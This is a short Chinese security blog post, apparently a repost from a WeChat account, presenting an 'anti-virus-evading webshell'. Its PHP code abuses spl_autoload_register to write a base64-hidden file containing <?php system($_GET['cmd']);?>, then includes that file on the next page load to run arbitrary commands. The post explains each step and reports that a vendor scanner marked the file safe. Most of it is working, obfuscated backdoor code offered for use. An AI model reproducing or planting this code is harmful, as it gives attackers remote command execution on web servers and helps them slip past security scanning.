免杀webshell case之一

admin 2021年5月29日04:54:27评论95 views字数 882阅读2分56秒阅读模式



网安引领时代,弥天点亮未来





 




 

免杀webshell case之一

0x00具体操作

1.绕过代码如下:
<?phpspl_autoload_register(function ($class_name){    file_put_contents(base64_decode("YWFh"), base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4='));});include('aaa');new aaa();?>

免杀webshell case之一
 2.spl_autoload_register的作用,将函数注册到spl_autoload_register(可以是匿名函数),当实例化一个不存在的类的时候,会去调用该函数.

免杀webshell case之一

3.先调用include('aaa'),会报错,因为没有这个文件,之后进行实例化 new aaa(),又会报错,因为没有aaa这个类,会去执行spl_autoload_register注册的函数里面的代码

file_put_contents(base64_decode("YWFh"), base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4='));

免杀webshell case之一

4.其中YWFh解码之后是aaa,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=解码之后是<?php system($_GET['cmd']);?>,相当于在web根目录下面创建aaa文件写入内容是<?php system($_GET['cmd']);?>

免杀webshell case之一

免杀webshell case之一

免杀webshell case之一

5.第二次再刷新页面,就可以成功执行了include('aaa');,因为第一次访问已经创建aaa文件并且写入内容了.
6.测试结果,第二次访问成功执行命令,后面Fatal error: Class 'aaa' not found的报错无视即可.

免杀webshell case之一

免杀webshell case之一

7.官网扫描结果,该文件扫描结果显示的是安全

免杀webshell case之一

8.欢迎加入弥天安全实验室交流群.

免杀webshell case之一








免杀webshell case之一 

知识分享完了

喜欢别忘了关注我们哦~



学海浩茫,

予以风动,
必降弥天之润!


   弥  天

安全实验室

免杀webshell case之一




本文始发于微信公众号(thelostworld):免杀webshell case之一

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月29日04:54:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀webshell case之一https://cn-sec.com/archives/362670.html

发表评论

匿名网友 填写信息